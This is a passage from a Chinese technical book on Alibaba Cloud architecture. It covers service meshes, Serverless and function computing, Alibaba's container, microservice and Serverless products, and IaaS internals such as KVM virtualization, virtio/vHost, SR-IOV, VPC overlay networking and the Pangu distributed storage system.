为微服务架构提供了流量管理机制,同时也为其他增值功能(包括安全性、监控、路由、连接管理与策略等)创造了基础。Istio 利用久经考验的 Lyft Envoy 代理进行构建,可在无须对应用程序代码做出任何改动的前提下实现可视性与控制能力。2019 年发布的 Istio 1.12 版本已达到小规模集群上线生产环境水平,但其性能仍受业界诟病。开源社区正试图通过架构层面演进解决这一问题。由于 Istio是建构于 Kubernetes 技术之上的,所以它天然地可运行于提供 Kubernetes 容器服务的云厂商环境中,同时Istio 成为大部分云厂商默认使用的服务网格方案。 除了 Istio ,还有 Linkerd、Consul、Conduit 等相对小众的 Service Mesh 解决方案。Linkerd 在数据平面采用 Rust 编程语言实现了 linkerd-proxy,控制平面与 Istio 一样采用 Go 语言编写。最新的性能测试数据显示, Linkerd 在时延、资源消耗方面比 Istio 更具优势。Consul 在控制平面上直接使用 Consul Server,在数据平面上可以选择性地使用 Envoy。与 Istio 不同的是,Linkerd 和 Consul在功能上不如 Istio 完整。 Conduit 作为 Kubernetes 的超轻量级 Service Mesh,其目标是成为最快、最轻、最简单且最安全的 Service Mesh。它使用 Rust 构建了快速、安全的数据平面,用 Go 开发了简单、强大的控制平面,总体设计围绕着性能、安全性和可用性进行。它能透明地管理服务之间的通信,提供可观测性、可靠性、安全性和弹性的支持。虽然它与 Linkerd 相仿,数据平面是在应用代码之外运行的轻量级代理,控制平面是一个高可用的控制器,但是Conduit 的设计更倾向于Kubernetes 中的低资源部署。4. Serverless (1)技术特点 随着以 Kubernetes 为代表的云原生技术成为云计算的容器界面,Kubernetes 成为云计算的新一代操作系统。面向特定领域的后端云服务(BaaS)则是这个操作系统上的服务 API,存储、数据库、中间件、大数据、AI 等领域的大量产品与技术都开始提供全托管的云形态服务,如今越来越多用户已习惯使用云服务,而不是自己搭建存储系统、部署数据库软件。当这些 BaaS 云服务日趋完善时,Serverless 因为屏蔽了服务器的各种运维复杂度,让开发人员可以将更多精力用于业务逻辑设计与实现,而逐渐成为云原生主流技术之一。下面给出Serverless 全景图,如图2-17 所示。图2-17 Serverless 全景图 Serverless 计算包含以下特征。全托管的计算服务:用户只需要编写代码构建应用,无须关注同质化的、负担繁重的服务器等基础设施的开发、运维、安全、高可用等工作。通用性:结合云 BaaS API 的能力,能够支撑云上所有重要类型的应用。自动的弹性伸缩:用户无须为资源的使用提前进行容量规划。按量计费:让企业的使用成本得到有效降低,无须为闲置资源付费。 Serverless 的三大核心价值如下。快速交付:Serverless 通过进行大量的端对端整合以及云服务之间的集成,为应用开发提供了最大化的便利性,让开发者无须关注底层的 IaaS资源,而是更专注于业务逻辑开发,聚焦于业务创新,大大缩短了业务的上市时间。极致弹性 :在 Serverless 之前,一旦遇到突发流量,可能就会直接导致各种超时异常,甚至是系统崩溃。即使有限流保护以及提前扩容等手段,也依然会出现评估不准的情况,进而引发灾难性的后果。有了Serverless 之后,由于它具备毫秒级的弹性能力,应对突发流量会变得更加从容。更低成本:就跟生活中使用“水电煤”一样,我们只为实际消耗的资源买单,而无须为闲置的资源付费。Serverless 提供的端到端的整合能力,极大地降低了运维的成本与压力,使 NoOps 成为可能。 基于快速交付、极致弹性、更低成本的三大核心价值,Serverless 被认为是云时代的全新计算范式,引领云在下一个十年乘风破浪。那么,下一个十年的 Serverless 将会有什么趋势呢?标准开放。通过支持开源的工具链和研发框架,Serverless 能够在多云环境下使用,无厂商锁定,免除用户后顾之忧。与云原生结合。阿里云 Serverless 将借助容器出色的可移植性和灵活性,实现应用交付模式统一。通过复用云原生生态,Serverless 在存储、网络、安全、可观测等方面更加标准、强大。事件驱动。通过采用统一的事件标准,如 CloudEvent 来建立云上的事件枢纽,让 Serverless 开发集成云服务、云边端应用更简单。解锁更多业务类型。Serverless 早已不再局限于代码片段、短任务、简单逻辑,长时间运行、大内存的任务,有状态的应用,以及 GPU/TPU的异构计算任务都会在 Serverless 产品上得到支持。更低成本。在使用成本方面,采用 Serverless 产品的 TCO 会比基于服务器自建更低,一方面是引入预付费等计费模式,比按量计费节省 30%以上的费用;另一方面是随着 Serverless 的不断演进,具有更大的资源池、更高的资源利用率,成本会进一步压低。在迁移成本方面,可以通过选择不同形态的 Serverless 产品,采用迁移工具,甚至一行代码不改,存量应用就能迁移到 Serverless,享受 Serverless 红利。 (2)函数计算 函数计算(Function as a Service)是 Serverless 中最具代表性的产品形态。通过把应用逻辑拆分成多个函数,每个函数都通过事件驱动的方式触发执行,例如,对象存储(OSS)中产生的上传/ 删除对象等事件, 能够自动、可靠地触发 FaaS 函数处理且每个环节都是弹性的和高可用的,用户能够快速实现大规模数据的实时并行处理。同样,通过消息中间件和函数计算的集成,用户可以快速实现大规模消息的实时处理。下面给出FaaS 全景图,如图2-18 所示。图2-18 FaaS 全景图 目前函数计算这种 Serverless 形态在普及方面尚存在一定困难,例如:函数编程以事件驱动方式执行,这在应用架构、开发习惯方面,以及研发交付流程上都会有比较大的改变。函数编程的生态仍不够成熟,应用开发者和企业内部的研发流程需要重新适配。细粒度的函数运行也引发了新技术挑战,比如冷启动会导致应用响应延迟,按需建立数据库连接成本高,等等。 (3)Serverless on Kubernetes 针对函数计算面临的情况,Serverless 计算中又诞生了更多其他形式的服务形态,典型的就是与容器技术进行融合创新,通过良好的可移植性,容器化应用能够无差别地运行在开发机、自建机房以及公有云环境中。基于容器工具链能够加快解决 Serverless 的交付问题。 云厂商如阿里云提供了ECI(弹性容器实例)以及更上层的SAE(Serverless App Engine, Serverless 应用引擎),SAE 架构如图2-19 所示;Google 提供了CloudRun 服务,这都帮助用户专注于容器化应用构建,而无须关心基础设施的管理成本。图2-19 SAE 架构 此外 ,Google 也开源了基于 Kubernetes 的 Serverless 应用框架 Knative。Knative 受众如图2-20 所示。图2-20 Knative 受众 相对于函数计算的编程模式,这类 Serverless 应用服务支持容器镜像作为载体,无须修改即可部署在 Serverless 环境中,享受 Serverless 带来的全托管免运维、自动弹性伸缩、按量计费等优势。5. 常见应用场景 近两年来, Serverless 呈加速发展趋势,用户使用 Serverless 架构在可靠性、成本和开发运维效率等方面获得显著收益。 (1)小程序 /Web/Mobile/API 后端服务 后端服务场景如图2-21 所示。图2-21 后端服务场景 在小程序、Web/Moible 应用、API 服务等场景中,业务逻辑复杂多变,对迭代上线速度要求高,而且这类在线应用的资源利用率通常小于 30%,尤其是小程序等长尾应用,资源利用率更是低于 10%。Serverless 免运维、按需付费的特点非常适合构建小程序 /Web/Mobile/API 后端服务,通过预留计算资源+实时自动伸缩,开发者能够快速构建延时稳定、能承载高频访问的在线应用。在阿里内部,使用 Serverless 构建后端服务是落地最多的场景,包括前端全栈领域的 Serverless For Frontends、机器学习算法服务、小程序平台实现,等等。 (2)大规模批处理任务 批处理任务场景如图2-22 所示。图2-22 批处理任务场景 在构建典型的任务批处理系统时,例如大规模音视频文件转码服务,需要包含计算资源管理、任务优先级调度、任务编排、任务可靠执行、任务数据可视化等一系列功能。如果从机器或者容器层开始构建,用户通常需要使用消息队列进行任务信息的持久化和计算资源分配,使用 Kubernetes 等容器编排系统实现资源的伸缩和容错,自行搭建或集成监控报警系统。而通过 Serverless 计算平台,用户只需要专注于任务处理逻辑,而且 Serverless 计算的极致弹性可以很好地满足突发任务对算力的需求。 通过将对象存储和 Serverless 计算平台集成的方式,能实时响应对象创建、删除等操作,实现以对象存储为中心的大规模数据处理。用户既可以通过增量处理对象存储上的新增数据,也可以创建大量函数实例来并行处理存量数据。 (3)基于事件驱动架构的在线应用和离线数据处理 事件驱动场景如图2-23 所示。图2-23 事件驱动场景 典型的 Serverless 计算服务通过事件驱动的方式,可以广泛地与云端各种类型服务集成,用户无须管理服务器等基础设施和编写集成多个服务的“胶水”代码,就能够轻松地构建松耦合、基于分布式事件驱动架构的应用。 通过与事件总线的集成,无论是一方的 BaaS 云服务,还是第三方的 SaaS服务,或者是用户自建的系统,所有事件都可以快速便捷地被函数计算处理。例如,通过与 API 网关集成,外部请求可以转化为事件,从而触发后端函数处理。通过与消息中间件的事件集成,用户能快速实现对海量消息的处理。 (4)开发运维自动化 通过定时触发器,用户使用函数的方式就能够快速实现定时任务,而无须管理执行任务的底层服务器。通过将定时触发器和监控系统的时间触发器集成,用户可以及时接收机器重启、宕机、扩容等 IaaS 层服务的运维事件,并自动触发函数执行处理。2.2.2 阿里云产品介绍1. 容器产品家族 阿里云容器产品家族如图2-24 所示。图2-24 阿里云容器产品家族 (1) 阿里云容器服务 阿里云容器服务自从 2016 年 5 月正式推出,历经 5 年时间,服务了全球上万家企业客户。阿里云容器产品家族可以在公共云、边缘计算和专有云环境中提供企业容器平台。阿里云容器产品以容器服务Kubernetes (ACK)和Serverless Kubernetes(ASK)为核心,它们构建在阿里云基础设施之上,提供计算、存储、网络、安全等资源,并为企业客户提供标准化接口、优化的能力和简化的用户体验。通过CNCF Kubernetes 一致性兼容认证的 ACK,为企业提供了一系列业务所需的必备能力,如安全治理、 端到端可观测性、多云混合云等。 (2)ECI(Elastic Container Instance,弹性容器实例) ECI 是 Serverless 和容器化的弹性计算服务。用户无须管理底层 ECS 服务器,只需要提供打包好的镜像,即可运行容器,并仅为容器实际运行消耗的资源付费。 (3)ACR(Alibaba Cloud Container Registry,容器镜像服务) ACR 作为企业云原生应用资产管理的核心,企业可以借之高效管理Docker 镜像、 Helm Chart 等应用资产, 并与 CI/CD(Continuous Integration/Continuous Delivery) 工具结合,组成完整的 DevSecOps 流程。 ACR 提供云原生资产的安全托管和全生命周期管理,支持多场景下镜像的高效分发,与容器服务 ACK 无缝集成,打造云原生应用一站式解决方案。2. 微服务产品家族EDAS(企业分布式应用服务)是一个面向微服务应用的应用全生命周期 PaaS 平台,产品全面支 持 HSF、Dubbo、Spring Cloud 技术体系,提供 ECS 集群和 K8s 集群的应用开发、部署、监控、运维等全栈式解决方案。MSE(微服务引擎)是一个面向业界主流开源微服务框架 Spring Cloud、Dubbo 的微服务平台, 包含治理中心、托管注册 / 配置中心,一站式的解决方案帮助用户提升微服务的开发效率和线上稳定性。ACM(应用配置管理)是一款应用配置中心产品,实现在微服务、DevOps、大数据等场景下的分布式配置服务,保证配置安全、合规。CSB(微服务网关服务)针对微服务架构下 API 开放的特点,提供能与微服务环境的治理策略无缝衔接的网关服务,实现高效的微服务 API开放。GTS(全局事务服务)用于实现分布式环境下特别是微服务架构下的高性能事务一致性,可以与多种数据源、微服务框架配合使用,实现分布式数据库事务、多库事务、消息事务、服务链路级事务及各种组合。ARMS(应用实时监控服务 ) 是一款应用性能管理产品,包含前端监控、应用监控和 Prometheus 监控三大子产品,涵盖浏览器、小程序、App、分布式应用和容器环境等性能管理,实现全栈式性能监控和端到端全链路追踪诊断。链路追踪(Tracing Analysis)为分布式应用的开发者提供完整的调用链路还原、调用请求量统计、 链路拓扑、应用依赖分析等工具,能够帮助开发者快速分析和诊断分布式应用架构下的性能瓶颈,提高微服务时代下的开发诊断效率。PTS(Performance Testing Service)是一款云化测试工具,提供性能测试、API 调试和监测等多种能力,紧密结合监控、流控等产品提供一站式高可用能力,高效检验和管理业务性能。3. Service Mesh 产品家族ASM(托管服务网格)提供全托管的微服务应用流量管理平台,在兼容Istio 的同时,支持多个 Kubernetes 集群中应用的统一流量管理,为容器和虚拟机中的应用服务提供一致的通信、安全和可观测能力。整合阿里云容器服务、网络互连和安全能力,打造云端最佳服务网格环境,为每个微服务提供一致的流量控制和可观测能力。AHAS(应用高可用服务)是专注于提高应用及业务高可用的工具平台,目前主要提供应用架构探测感知、故障注入式高可用能力评测和流控降级高可用防护三大核心能力,其通过各自的工具模块可以快速、低成本地在营销活动场景、业务核心场景下全面提升业务稳定性和韧性。4. Serverless 产品家族函数计算(Function Compute)是一个事件驱动的全托管 Serverless 计算服务,用户无须管理服务器等基础设施,只需编写代码并上传,函数计算会准备好计算资源,并以弹性、可靠的方式运行业务代码。SAE(Serverless应用引擎)实现了 Serverless 架构 + 微服务架构的完美融合,真正按需使用、按量计费,节省计算资源,同时免去IaaS 运维,有效提升开发运维效率。SAE 支持 Spring Cloud、Dubbo 和HSF 等流行的微服务架构,支持控制台、云效、插件等部署方式。除微服务应用外,用户还能通过 Docker 镜像部署任何语言的应用。Serverless工作流是一个用来协调多个分布式任务执行的全托管Serverless 云服务,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等烦琐工作,让用户聚焦于业务逻辑开发。用户可以采用顺序、分支、并行等方式来编排分布式任务,服务会按照设定好的顺序可靠地协调任务执行, 跟踪每个任务的状态转换,并在必要时执行用户定义的重试逻辑,以确保工作流顺利完成。
第2章 阿里云基础技术 阿里云经过12年的发展,以IaaS、PaaS分层为标准的云计算基础技术已经非常成熟,同时围绕这两层的泛网络、泛存储、泛安全等对云计算攸关的技术也起着关键支撑作用。当然,阿里云的核心技术有很多,包括但不限于数据库、大数据、IoT、AI等技术。限于篇幅,本章不会涉及这些内容,后续章节主要是介绍IaaS和PaaS层及相关的泛网络、泛存储、泛安全技术原理。2.1 IaaS 什么是IaaS(Infrastructure as a Service,基础设施即服务)?NIST(美国国家标准与技术研究院) 对IaaS的定义如下: 向用户提供计算、存储、网络及其他计算资源的能力,用户可以基于此部署和运行任意软件包括操作系统和应用,用户可以控制操作系统、存储和部署的应用,也可以对网络组件(如主机防火墙)进行有限控制,但不能管理和控制底层的云基础设施。 阿里云作为云服务商,IaaS 是其交付基础设施服务的一种形式。从广义上说,IaaS基于互联网或者内联网,为用户提供按需使用的存储、计算、网络、安全等资源来部署和运行操作系统及各种应用程序,并产生与之相匹配的按量租赁资源费用。灵活、高效的资源弹性伸缩能力,以及按量付费的服务方式,使得IaaS 服务成本相比于一次性IDC 基础设施和硬件投入具有显著的优势。从狭义上说,IaaS 基于虚拟化技术和分布式调度管理实现CPU 计算单元、块存储/ 对象存储、网络等资源的抽象隔离与集成组成即时服务单元,凭借灵活的弹性伸缩能力和强大的稳定性支撑上层系统(操作系统、中间件和应用等),实现按需管理与永续运行。如图2-1 所示为IaaS 架构示意图。图2-1 IaaS 架构示意图2.1.1 阿里云IaaS 产品体系与应用场景 伴随着国内移动互联网和数字经济发展的浪潮,新的应用开发模式、体系架构、交付和运维模式不断涌现,业界技术呈现快速迭代和不断进化的发展态势。阿里云历时十多年,整个IaaS 产品体系始终保持高速迭代和积极市场响应, 从2009 年推出首款IaaS产品ECS(Elastic Compute Service),到今天涵盖“计算”“存储”“网络”“安全”产品系列;从寥寥数款面向个人用户的小规格云主机产品形态,到“通用云服务器”“GPU/FPGA 云服务器”“神龙裸金属服务器”“超级计算集群SCC”“云桌面”“弹性伸缩”“弹性容器实例”“VPC(Virtual Private Cloud)”“负载均衡”“NAT/VPN/ 智能网关”“高速通道”“对象/ 文件/ 块存储”等累计200 多款IaaS 相关产品,阿里云已经进化形成相对完整的IaaS 计算解决方案簇。阿里云IaaS 产品簇如图2-2 所示。图2-2 阿里云IaaS 产品簇 丰富的云产品及产品组合覆盖了越来越多的企业应用场景,阿里云IaaS产品服务支持的典型应用场景包括:企业建站与服务 :通过阿里云 IaaS 云资源包,即 ECS/RDS(Relational Database Service)/OSS(Object Storage Service)/SLB(Server Load Balancer) 搭建企业Web 官网,或者基于Web 或移动互联网应用服务站点,使站点具备负载均衡和云资源弹性伸缩能力、DDoS(Distributed Denial of Service)防攻击安全防护能力,通过CDN(Content Delivery Network)加速还可以实现网站在不同地域秒开。互联网游戏:通过阿里云 IaaS 产品“ECS+GPU 虚拟化实例”“OSS 存储”“RDS 数据库和缓存”以及“CDN 加速”等为云游戏提供一站式运营维护解决方案。比如面向资源和游戏的弹性调度与策略,可实现更高的资源使用效率, 低延时串流技术和服务端的渲染能力专门为多媒体云端运算服务。未来还将开放更多的业务功能及运营管理API(Application Programming Interface),支持用户的个性化产品定制和运营策略。大数据分析:利用阿里云 IaaS 产品DTS(Data Transmission Service)将数据从多数据源导入云上MaxComputer(大数据离线计算)和Blink(在线计算),通过Dataworks 开发与治理构建实时离线一体化数据仓库,满足企业实时推荐、风控和分析业务需求。视频云与直播:通过阿里云视频直播服务实现移动端的推拉流能力,解决视频直播中手机端的推拉流问题;同时移动端利用MQTT(Message Queuing Telemetry Transport)消息服务实现发送和接收消息,在转发消息时利用内容安全服务对消息内容进行审核。发送的消息可以被存储在“表格存储”中。云灾备:阿里云 IaaS 支持企业级云灾备方案,通过迁云服务可以将业务切换到云中运行,云上的业务可以充分利用已有产品的同城容灾、异地灾备架构来保障业务的安全运行,也支持利用混合云网关从云中将数据回流到云下机房,形成有效的灾备闭环。云存储:通过阿里云 IaaS 产品“OSS 对象存储”“SLS(Simple Log Service)日志存储”“表格存储”等与多种实时/ 离线计算框架、计算服务的对接方式,满足结构化、半结构化、非结构化等不同数据类型的海量数据存储需求,提供海量、高可靠、易扩展、高性价比、全面支持计算生态的大数据存储解决方案。2.1.2 核心技术 阿里云IaaS 架构如图2-3 所示。图2-3 阿里云IaaS 架构 传统意义上的IaaS 层一般由IDC 基础设施、虚拟化、 配套存储与网络软件基础设施、云管平台组成,阿里云的IaaS 实现将管理功能纳入飞天分布式系统层,虚拟化和网络则被划分到单独层。下面主要介绍IDC 基础设施、虚拟化,配套存储与网络软件基础设施相关技术。1. IDC 基础设施 混合云IDC(Internet Data Center,互联网数据中心)标准化建设方案可以参考GB 50174—2008《电子信息系统机房设计规范》A 级或TIA-942《数据中心通信基础设施标准》的T3+ 标准,混合云IDC 机房应满足安全可靠、节能环保、扩展灵活等条件,提供不间断的服务,可用性在99.99% 以上。IDC 机房建设主要内容可以概括成“风”(包间气流)、“火”(消防)、“水”(水冷管道)、“电”(供配电)、“通信网”(用于数据通信的千兆或万兆以太网)、“监控网”(弱电网监控),要求包括:机房基础条件要求、供电设施要求、制冷设施要求、消防设施要求、机柜及桥架要求、网络设施要求、其他设施要求等。 IDC 终端机柜层面布线有两种方式:ToR(Top of Rack)和EoR(End of Rack),混合云IDC 布线更多采用ToR 方式。一般情况下10~20 个机柜背靠背放置一排组成一对机柜组,再加上一组网络交换设备机柜,组成一个POD(Point of Delivery)。ToR 布线方式简化了服务器机柜与网络机柜间的布线,有利于在高密度服务器布置场景下提升空间利用率,在分布式系统和大数据业务高速发展的今天,显然ToR 是更适合混合云业务场景的IDC 终端机柜布线方式。 IDC 基础设施最重要的部分是基础网络。在混合云场景下,IDC 基础网络架构一般采用三层树状结构(核心—汇聚—接入),在基础网络交付实施中主要考虑以下关键点:服务器接入规模、支持POD 数量、单POD 带宽、单POD 支持服务器数量、单POD 接入交换机数量、虚拟机网关ARP 规格、虚拟机迁移域等。为满足高可用要求,在规划混合云IDC 基础网络时应该根据业务场景、网络架构和维护复杂度明确网络关键节点和链路冗余,以及网络接入层和网络汇聚层高可用部署方案。2. 虚拟化 阿里云IaaS 使用KVM(Kernel Virtual Machine)虚拟化技术实现IDC 物理资源(CPU、内存、网络、存储)的池化与抽象,并提供统一管控入口,实现弹性和可自定义的以ECS 虚拟机为中心的计算资源分配和管理服务。KVM虚拟化通过HVM(Hardware Virtual Machine)在宿主机硬件资源之上提供定制规格的虚拟机,并通过镜像和快照技术实现在虚拟机中运行guest OS,比如RedHat、CentOS、Ubuntu、Windows 等系统,用户的具体业务应用跑在虚拟机的guest OS 之上,如图2-4 所示。图2-4 阿里云IaaS KVM 虚拟化平台 阿里云通过KVM 虚拟化平台和飞天云管理系统实现以下功能:通过提供虚拟机粒度的隔离部署环境及集群规模的动态负载均衡,提高硬件资源利用率,降低采购成本。对 CPU、内存、存储、网络等资源做了更细粒度的灵活划分,提高资源利用率。通过提供统一的资源管理、调度、配置,降低用户的部署、维护成本。快速交付,快速响应用户的新增机器需求。提供虚拟 CPU、内存、磁盘、网卡热插拔功能,可以快速响应用户已部署业务对计算、网络、存储服务能力的扩展需求。基于共享存储,提供虚拟机 HA(High Availability,高可用)能力,一旦虚拟机所在的物理机出现故障,就可以在其他物理机上秒级恢复上面的虚拟机。提供虚拟机热迁移功能,可以提高用户业务的可服务性,降低用户业务的停机时间。例如,在进行硬件维护时,并不会中断该服务器上的业务,可以把上面的虚拟机迁移到另一台服务器上。结合阿里云飞天分布式存储系统实现块共享存储机制,还可以大大缩短迁移的总时间。如果使用了Overlay 网络,则可以在IDC 内部,甚至在IDC 之间迁移虚拟机。提供虚拟机镜像机制,方便部署到镜像中的业务或者业务组合,一次部署到处运行,也可以提供公共的基础镜像。提供对业务透明的虚拟存储备份功能,可以大大提高用户数据的可靠性。提供更加灵活的运维手段,提高运维自动化水平。利用 Overlay 网络与物理网络解耦,在进行业务网络规划时可以不必考虑物理网络组网,尤其是网络拓扑的限制。 KVM 使用的virtio 驱动协议类似于Xen 上使用的PV(Paravirtualization)驱动,都属于半虚拟化 I/O。半虚拟化I/O 是相对于全虚拟化 I/O 而言的,比如QEMU 模拟的E1000 网卡、IDE 磁盘就属于全虚拟化I/O,其缺点是性能差,通信效率低,基本原因在于全虚拟化设备频繁访问设备寄存器,导致过多的虚拟机退出,而虚拟机退出会消耗很多时间,代价很高;双向通知没有利用生产者—消费者模型中常用的按需通知,导致太多虚拟机退出和中断注入;全虚拟化设备本身限制可能对一些新特性缺乏支持,比如网卡的卸载(offloading)特性,一些老式网卡就不支持。 半虚拟化 I/O 就是专门为虚拟化而生的,在提高数据传输效率、降低I/O开销、新特性(比如网卡的某些高级卸载特性,有些新特性也可能是物理世界所没有的)支持、稳定性方面都做了增强。 virtio 涉及前端部分(guest driver)和后端部分(QEMU),如图2-5 所示。图2-5 virtio 技术架构 阿里云标准系统镜像是能够与 Hypervisor 协同工作的半虚拟化技术模式。本质上,半虚拟化弱化了对虚拟机特殊指令的被动截获需求,将其转化为用户操作系统的主动通知。但是,半虚拟化需要修改用户操作系统的源码来实现主动通知。 下面通过分析virtio 网络驱动的前后端实现来说明virtio 通信原理,其他virtio 设备原理类似。 (1)虚拟化 I/O 驱动 virtio 从总体上看,virtio 组成可以分为四层(如图2-6 所示),包括前端Guest系统中的各种驱动程序模块,如 virtio-blk、virtio-net 等;后端 Hypervisor(实现在 QEMU上)中的处理程序模块 virtio 后端 ;中间用于前后端通信的virtio 层和 virtio 环层——virtio 这一层实现的是虚拟队列接口,是前后端通信的桥梁;virtio 环则实现了两个环形缓冲区,分别用于保存前端驱动程序和后端处理程序的执行信息。严格来说,virtio 和 virtio 环可以被看成一层,virtio层属于控制层,负责前后端之间的通知机制和控制流程;virtio 环层负责具体数据流转发。图2-6 virtio 组成 由于不同前端Guest 设备(如块设备、网络设备、PCI 设备、balloon 驱动等)的工作逻辑大同小异,单独为每个设备定义一套接口没有必要,而且还要考虑跨平台的兼容性问题。另外,不同后端 Hypervisor(如 KVM、Xen 等)的实现方式也有很大差异,因此就需要一套通用框架和标准接口(协议)来完成两者之间的交互过程。virtio 就是这样一套标准,利用它可以解决上述不通用的问题。 ① vHost vHost 是 virtio 的一种后端实现方案,如图 2-7 所示。virtio 是一种半虚拟化的实现方案,需要虚拟机端和宿主机端都提供驱动才能完成通信。通常,virtio 宿主机端的驱动在用户空间的 QEMU 中实现,而 vHost 在内核中实现,是内核的一个模块(vHost_net.ko)。图 2-7 vHost 实现 在virtio 的机制中,guest 与用户空间的 Hypervisor 通信,会造成多次的数据拷贝和 CPU 特权级的上下文切换。guest 发包给外部网络时,首先需要切换到 Host Kernel,Host Kernel 再切换到 QEMU 来处理 guest 的请求, Hypervisor在通过系统调用将数据包发送到外部网络后,会切换回 Host Kernel ,然后再切换回 guest。这样长的路径无疑会带来性能上的损失。 vHost 与 virtio 前端的通信主要采用 eventfd(一种事件驱动的机制)来实现,guest 通知 vHost 这一事件要借助 KVM.ko 模块来完成。在vHost 初始化期间,会启动一个工作线程来监听 eventfd,一旦 guest 发出对 vHost 的 kick 事件,KVM.ko 就会触发ioeventfd 通知 vHost,vHost 通过 virtqueue 的 avail ring 获取数据,并将其设置为used ring。同样,从 vHost 工作线程到 guest 的通信,也采用相同的机制,只不过发出的是一个回调事件,KVM.ko 触发 irqfd 通知 guest。 ② vhost-user 在 vHost 实现方案中,由于 vHost 在内核中实现,guest 与 vHost 的通信方式,相较于原生的 virtio 方式,在性能上有了一定程度的提高,因为从 guest到 KVM.ko 的交互只有一次用户态的切换及数据拷贝。这种方式相对于原有的QEMU virtio 性能有较大的提高,但是vHost 转发流程有内核线程的参与,因此整个转发流程伴随着中断、软中断及内核线程的切换,效率仍然较低。 为了避免这种情况,只能将 vHost 从内核态移到用户态,即 vhost-user。vhost-user 是 DPDK 中的一个库。vhost-user 和 vHost 的实现原理是一样的,都是采用 virtio 环共享内存,采用eventfd 机制完成事件通知的。不同于 vHost 在内核中实现,vhost-user 在用户空间中实现,用户空间中两个进程之间的通信采用共享内存的方式,如图 2-8 所示。图2-8 vhost-user 实现 SR-IOV host-user 基于 C/S 模式,是采用 UNIX 域套接字(UNIX Domain Socket)方式来完成进程间的事件通知和数据交互的,这种方式相比于 vHost中采用 ioctl 的方式大大简化了。 vhost-user 基于 virtio 环这套通用的共享内存通信方案,只要客户端和服务器端按照 virtio 环提供的接口实现所需功能即可。常见的实现方式是在 guest操作系统中实现客户端,一般集成在 virtio 驱动上;在 QEMU 中实现服务器端,或者在 OVS Snabbswitch 虚拟交换机等其他数据平面中实现。 (2)SR-IOV SR-IOV(Single Root I/O Virtualization) 允许在虚拟机之间高效共享 PCIe(Peripheral Component Interconnect eXpress,快速外设组件互连)设备,在硬件中实现,可允许创建的新设备与虚拟机直接连接,获得能够与本机性能媲美的 I/O 性能。使用 SR-IOV 技术,单个 I/O 资源可被许多虚拟机共享。共享的设备将提供专用 的资源,并且还可使用共享的通用资源。这样,每台虚拟机都可访问唯一的资源。因此,启用了 SR-IOV 并且具有适当的硬件和操作系统支持的 PCIe 设备(如以太网端口)可以显示为多个单独的物理设备,每个设备都具有自己的 PCIe 配置空间。PCIe 设备的 SR-IOV 实现如图2-9 所示。图 2-9 PCIe 设备的 SR-IOV 实现 每个SR-IOV 设备都可有一个物理功能,并且每个物理功能最多可有64000个与其关联的虚拟功能。 ① 物理功能 物理功能(Physical Function,PF)用于支持 SR-IOV 功能的 PCI 功能。物理功能包含 SR-IOV 功能结构,用于管理 SR-IOV 功能。物理功能是全功能的PCIe 功能,可以像其他任何 PCIe 设备一样发现、管理和处理。物理功能拥有完备配置的资源,可以用于配置或控制 PCIe 设备。 ② 虚拟功能 与物理功能关联,虚拟功能(Virtual Function,VF)是一种轻量级 PCIe 功能,可以与物理功能以及与同一物理功能关联的其他虚拟功能共享一个或多个物理资源。虚拟功能仅被允许拥有用于其自身行为的配置资源。3. 配套存储与网络软件基础设施 阿里云IaaS 网络主要分为后端网卡I/O 相关虚拟化(virtio-net)和专有网络VPC 两部分。上面介绍了virito 框架,对virtio-net 来说,主要是增加了在virito-pci 之上的二层数据包的传递,前后端之间解包、组包。对virtio-net 来说,后端通过vhost-net 方式实现,vhost-net 的实现主要包含两部分:vhost,这部分实现了公用的vHost 机制(vhost-scsi 也会使用vHost 机制);vhost_net,这部分是与网络相关的处理。vhost_net 甚至可以与SR-IOV 结合,VF 驱动alloc的rx buffer 不使用标准接口,而是直接向vhost_net 申请,vhost_net 从vring 中获取rx buffer,地址转换后交给VF 驱动。 总体来说,阿里云专有网络VPC 包含vSwitch、Overlay、vRouter、Controller几部分。Overlay 网络将从虚拟机出来的L2 包放在一个虚拟隧道中进行传输,在隧道的两端看起来像是同一个L2,从而使虚拟网络和物理网络解耦,组成逻辑大二层网络。Overlay 和Underlay 是两个对立的概念,Underlay 网络是承载Overlay 网络的物理网络,Overlay 网络是通过隧道技术在物理网络之上建立的虚拟网络。Overlay 网络一般通过隧道协议来实现,比如VxLAN、GRE、STT,其中VxLAN 是阿里云用于构建Overlay 网络的协议。阿里云Overlay 网络在以下两个地方实现:在 Hypervisor 所在的物理机上通过vSwitch 软件实现。在专属网络交换设备网关上实现。 通过后端网卡I/O 虚拟化和专有网络VPC,阿里云IaaS 构建了一个隔离的网络环境,并可以自定义IP 地址范围、网段、路由表和网关等。此外,也可以通过专线VPN/GRE 等连接方式实现云上VPC 与传统IDC 的互联,构建混合云业务。有关阿里云IaaS 网络的细节内容,将在第5章中介绍。 阿里云IaaS 存储实现主要分为后端存储I/O 虚拟化、镜像/ 镜像接口和存储后端几部分。后端存储I/O 虚拟化利用virtio-blk 实现块存储I/O 通道,ECS虚拟机通过virtio-blk 和ring 的方式将I/O 请求传递到宿主机的块存储数据控制平面,最后通过EBS 服务传递到后端分布式存储系统。阿里云IaaS 存储后端使用自研的飞天分布式存储系统为IaaS 提供业务所需的块共享存储、对象存储和文件存储等服务。“盘古”是飞天中的分布式文件系统组件,盘古将并不高可靠的PC 服务器中的磁盘连接成一个整体,向外提供安全、稳定、易用的文件存储能力。此外,盘古还提供了如下核心价值。 (1)数据安全 盘古通过数据多副本技术来保证数据安全,并不要求磁盘本身的高可用性。因此,盘古可以被架设在PC 服务器和SATA 盘上,但并不要求磁盘本身通过RAID 来保证数据安全。同时,因为盘古将数据打散到整个集群,在发生故障时能更快地做出数据的副本,从而保证数据安全。盘古默认有三个数据副本,能够保证数据具有极高的安全性。 (2)服务高可用 存储服务本身是任何IT 系统中最基本的服务之一,必须具有高可用性。盘古对外承诺两个层次的高可用性:数据的高可用性,单机、单机柜损坏时数据仍然能够读/ 写;服务的高可用性,盘古文件系统能够不受大部分硬件故障的影响而继续提供服务,这里主要指盘古Master 的高可用性。 盘古通过多Master 机制来保证Master 的可用性。盘古的多Master 机制是主从机制,默认三台Master 中有一台为Primary Master,两台为Secondary Master(热备),主从之间通过Paxos 算法来保证内存处于一致的状态。使用Paxos 算法能够在两台Master 达成一致时就返回,在保证服务高可用的同时降低了服务的延时。 关于阿里云分布式存储系统,我们将在后面的章节中详细介绍其架构和实现方式。
